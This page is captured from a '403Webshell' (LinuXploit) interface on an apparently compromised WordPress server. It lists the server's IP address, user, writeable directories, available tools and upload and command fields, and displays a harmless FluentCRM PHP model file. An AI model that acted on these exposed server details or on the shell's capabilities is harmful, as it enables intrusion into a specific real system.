403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.216.168
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Models/FunnelSequence.php
<?php

namespace FluentCrm\App\Models;

/**
 *  FunnelSequence Model - DB Model for Automation Sequences
 *
 *  Database Model
 *
 * @package FluentCrm\App\Models
 *
 * @version 1.0.0
 */
class FunnelSequence extends Model
{
    protected $table = 'fc_funnel_sequences';

    protected $fillable = [
        'funnel_id',
        'action_name',
        'parent_id',
        'condition_type',
        'title',
        'description',
        'status',
        'conditions',
        'settings',
        'delay',
        'c_delay',
        'sequence',
        'created_by',
        'type',
        'note',
    ];

    public static function boot()
    {
        parent::boot();

        static::updating(function ($model) {
            if (isset($model->settings) && is_array($model->settings)) {
                $model->settings = \maybe_serialize($model->settings);
            }
            if (isset($model->conditions) && is_array($model->conditions)) {
                $model->conditions = \maybe_serialize($model->conditions);
            }
        });
    }

    public function funnel()
    {
        return $this->belongsTo(
            __NAMESPACE__ . '\Funnel', 'funnel_id', 'id'
        );
    }

    public function parent()
    {
        return $this->belongsTo(
            __NAMESPACE__ . '\FunnelSequence', 'parent_id', 'id'
        );
    }

    public function children()
    {
        return $this->hasMany(
            __NAMESPACE__ . '\FunnelSequence', 'parent_id', 'id'
        );
    }

    public function setSettingsAttribute($settings)
    {
        if (is_array($settings)) {
            $this->attributes['settings'] = \maybe_serialize($settings);
        } else {
            $this->attributes['settings'] = $settings;
        }
    }

    public function getSettingsAttribute($settings)
    {
        return \maybe_unserialize($settings);
    }

    public function setConditionsAttribute($conditions)
    {
        if (is_array($conditions)) {
            $this->attributes['conditions'] = \maybe_serialize($conditions);
        } else {
            $this->attributes['conditions'] = $conditions;
        }
    }

    public function getConditionsAttribute($conditions)
    {
        return \maybe_unserialize($conditions);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit